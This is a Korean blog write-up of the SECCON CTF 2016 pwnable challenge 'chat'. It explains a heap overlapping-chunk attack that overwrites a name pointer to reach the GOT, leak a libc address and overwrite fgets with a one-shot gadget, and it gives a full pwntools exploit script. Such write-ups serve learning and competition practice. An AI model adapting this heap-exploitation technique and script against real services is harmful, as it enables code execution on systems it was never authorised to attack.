ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • SECCON CTF 2016 - chat
    CTF 2016. 12. 13. 07:01

    SECCON에서 500점으로 나온 포너블 문제이다.


    overlap chunk를 이용한 문제이다. size chunk를 덮어 써서, 청크의 크기를 바꾸고 메세지 입력을 통해 name을 관리하는 ptr을 덮어씌워 got를 덮는다.


    윽.. 이기법을 모르고있어서 어차피 대회때 못풀었겠군 ㅠ.ㅠ 노가다했으면 됬을라나..



    user를 한개 만들때의 힙 상태이다.


    user id를 담고있는 ptr이 0x1298030인데, change name을 할때 저 값을 토대로 수정을 한다.


    그리고 user_tbl이라는 테이블이 존재하는데, 청크의 포인터를 담고 있다.




    user를 할당 할 때 24바이트를 할당하고, user_tbl 8바이트에 chunk ptr을 작성한다.



    유저를 바꾸면 작성한 ptr을 토대로 관리한다. 만약, 인풋이없다면 remove_user를 통해 free 시킨다.


    여기서 사용할것은, 아래와 같은 함수이다.


    changename, send publicmessage, remove public message


    public message 기능은, 힙을 할당하고 메세지를 작성한다. remove는 그 영역을 free 시킨다.


    join("a")

    login("a")


    pubmsg("A"*100)


    이를 실행한 결과는 아래와 같다.




    public message를 작성하면 위와 같이 힙이 할당되고, 인위적으로 메세지의 갯수와 name을 가리키는 청크의 포인터가 들어간다. 



    join("a")

    login("a")


    pubmsg("A"*100)


    logout()


    join("p")

    login("a")


    이 코드를 실행해서 상태를 보자.



    name이 계속 밑으로 할당 된다. 이 상태에서 message를 free 해 볼 것이다.


    join("a")

    login("a")


    pubmsg("A"*100)


    logout()


    join("p")

    login("a")


    freemsg("1")



    tweet 갯수와, 그 메세지를 가진 id의 ptr이 작성되어있던 부분이 main_arena+88 주소가 작성된다.


    위에를 보면, a 라는 id에서 32바이트를 입력한다면, a1, message의 chunk size를 덮을 수 있다.





    메세지의 크기는 0xffff가 되는데,  여기서 청크하나를 더 할당해보자.




    join("a")

    login("a")


    pubmsg("A"*100)


    logout()


    join("p")

    login("a")


    freemsg("1")


    chgname("c"*24 + "\xff\xff")


    logout()

    join('c')




    msg의 데이터가 들어갔던곳에 ptr 주소가 들어가있는곳을 볼 수 있고, 여기서 메세지를 작성해준다면, 0x124a0f0 있는곳인 ptr이 덮히고, 아까 생성한 p의 name위치의 포인터가 변한다. 그럼 p에서 change name을 해준다면 저 ptr을 토대로 변조가 된다.





    0x603040 이후에 fgets가 들어간다. 여기서 libc_start_main을 릭하고, chgname으로 fgets를 덮어주면 된다.


    저렇게 덮어준다면 user를 출력할때 기존 포인터가 libc_start_main으로 덮는다면 저 주소가 출력될 것이다.


    그리고 oneshot으로 최종적으로 chgname을통해 fgets를 덮어버린다!




    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    from pwn import *
     
    = remote("10.211.55.3",9913)
     
    def join(name):
        print p.recvuntil("menu > ")
        p.sendline("1")
        print p.recvuntil("name > ")
        p.sendline(name)
     
    def login(name):
        print p.recvuntil("menu > ")
        p.sendline("2")
        print p.recvuntil("name > ")
        p.sendline(name)
     
    def showtime():
        print p.recvuntil("menu >> ")
        p.sendline("1")
     
    def showdm():
        print p.recvuntil("menu >> ")
        p.sendline("2")
     
    def showuser():
        print p.recvuntil("menu >> ")
        p.sendline("3")
     
    def pubmsg(data):
        print p.recvuntil("menu >> ")
        p.sendline("4")
        print p.recvuntil("message >> ")
        p.sendline(data)
     
    def dirmsg(name,data):
        print p.recvuntil("menu >> ")
        p.sendline("5")
        print p.recvuntil("name >> ")
        p.sendline(name)
        print p.recvuntil("message >> ")
        p.sendline(data)
     
    def freemsg(idx):
        print p.recvuntil("menu >> ")
        p.sendline("6")
        print p.recvuntil("id >> ")
        p.sendline(str(idx))
     
    def chgname(data):
        print p.recvuntil("menu >> ")
        p.sendline("7")    
        print p.recvuntil("name >> ")
        p.sendline(data)
    def logout():
        print p.recvuntil("menu >> ")
        p.sendline("0")    
     
     
    join("a")
    login("a")
     
    pubmsg("A"*100)
     
    logout()
     
    join("p")
    login("a")
     
    freemsg("1")
     
    chgname("c"*24 + "\xff\xff")
     
    logout()
    join('c')
     
    # #overwrite ptr 
     
    login("p")
    pubmsg("A"*80 + "\x40\x30\x60")
     
     
    #leak
     
    showuser()
    print p.recvuntil("*")
    print p.recvuntil("*")
    print p.recvuntil("* ")
    leak = u64(p.recv(6).ljust(8,'\x00'))
    image_base = leak - 0x000021e50
    one_shot = image_base + 0x4647c
    log.info('main@got: ' + hex(leak))
    log.info('base: ' + hex(image_base))
     
    # chgname("A"*8 + p64(one_shot))
    p.interactive()
    cs

    'CTF' 카테고리의 다른 글

    HolyShield pwn100  (0) 2016.12.20
    HolyShield 2016 PPC  (0) 2016.12.20
    SECCON CTF 2016 - jmper  (1) 2016.12.11
    [BCTF 2016] Memo  (0) 2016.11.28
    Plaid CTF 2014 ezhp  (1) 2016.11.28

    댓글

Designed by Tistory.